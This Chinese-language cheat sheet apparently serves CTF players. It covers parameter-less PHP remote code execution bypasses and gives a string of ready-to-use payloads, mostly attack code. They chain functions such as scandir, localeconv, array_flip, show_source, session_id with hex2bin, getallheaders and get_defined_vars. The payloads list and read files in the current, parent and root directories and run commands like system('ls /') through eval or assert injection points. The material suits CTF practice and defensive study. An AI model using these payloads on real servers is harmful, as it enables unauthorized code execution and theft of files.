相关函数简要介绍:

scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元

array_reverse():将数组内容反转

strrev():用于反转给定字符串

getcwd():获取当前工作目录路径

dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

eval()、assert():命令执行

hightlight_file()、show_source()、readfile():读取文件内容

举个例子scandir(‘.’)是返回当前目录,虽然我们无法传参,但是由于localeconv() 返回的数组第一个就是‘.’,current()取第一个值,那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看当前目录下文件的payload:

1
?参数=var_dump(scandir(current(localeconv())));

数组移动操作:

1
2
3
4
5
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动

一:scandir() 最常规的通解

1
2
3
4
5
6
7
8
9
highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位
//查看和读取根目录文件
//查看和读取根目录文件

二:session_id()

使用条件:当请求头中有cookie时(或者走投无路手动添加cookie头也行,有些CTF题不会卡)

首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现

1. 读文件

在知道文件名为flag.php的情况下直接读文件

如果已知文件名,把文件名写在PHPSESSID后面,构造payload为:

1
readfile(session_id(session_start()));

2.利用hex2bin()

我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值

以下是十六进制编码脚本:

1
2
3
4
<?php
$encoded = bin2hex("phpinfo();");
echo $encoded;
?>

得到phpinfo();的十六进制编码,即706870696e666f28293b

那么payload就可以是:

1
?参数=eval(hex2bin(session_id(session_start())));

三:hex2bin()

我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码

以下是十六进制编码脚本:

1
2
3
4
<?php
$encoded = bin2hex("phpinfo();");
echo $encoded;
?>

得到phpinfo();的十六进制编码,即706870696e666f28293b

那么payload就可以是:

1
?参数=eval(hex2bin(substr(_706870696e666f28293b,1)));

类似还可以是其他编码类型

base64_decode()

1
assert(base64_decode(cGhwaW5mbygp));

但是在这其他的类型可能会存在各种问题导致只能利用assert()才能执行成功,但是eval却不能成功的情况

四:getallheaders()

getallheaders()返回当前请求的所有请求头信息,局限于Apache(apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)

当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:

var_dump(end(getallheaders()));

五:get_defined_vars()

相较于getallheaders()更加具有普遍性,它可以回显全局变量$_GET、$_POST、$_FILES、$_COOKIE,

返回数组顺序为$_GET—>$_POST—>$_COOKIE—>$_FILES

首先确认是否有回显:

print_r(get_defined_vars());

假如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:

1
a=eval(end(current(get_defined_vars())));&b=system('ls /');

把eval换成assert也行 ,能执行system(‘ls /‘)就行

六:chdir()&array_rand()赌狗读文件

实在无法rce,可以考虑目录遍历进行文件读取

利用getcwd()获取当前目录:

var_dump(getcwd());

结合dirname()列出当前工作目录的父目录中的所有文件和目录:

var_dump(scandir(dirname(getcwd())));

读上一级文件名:

1
2
3
4
5
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));

?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

读根目录:

ord() 函数和 chr() 函数:只能对第一个字符进行转码,ord() 编码,chr)解码,有概率会解码出斜杠读取根目录

1
?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

要用chdir()固定,payload:

1
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));

参考: 无参数RCE绕过的详细总结(六种方法)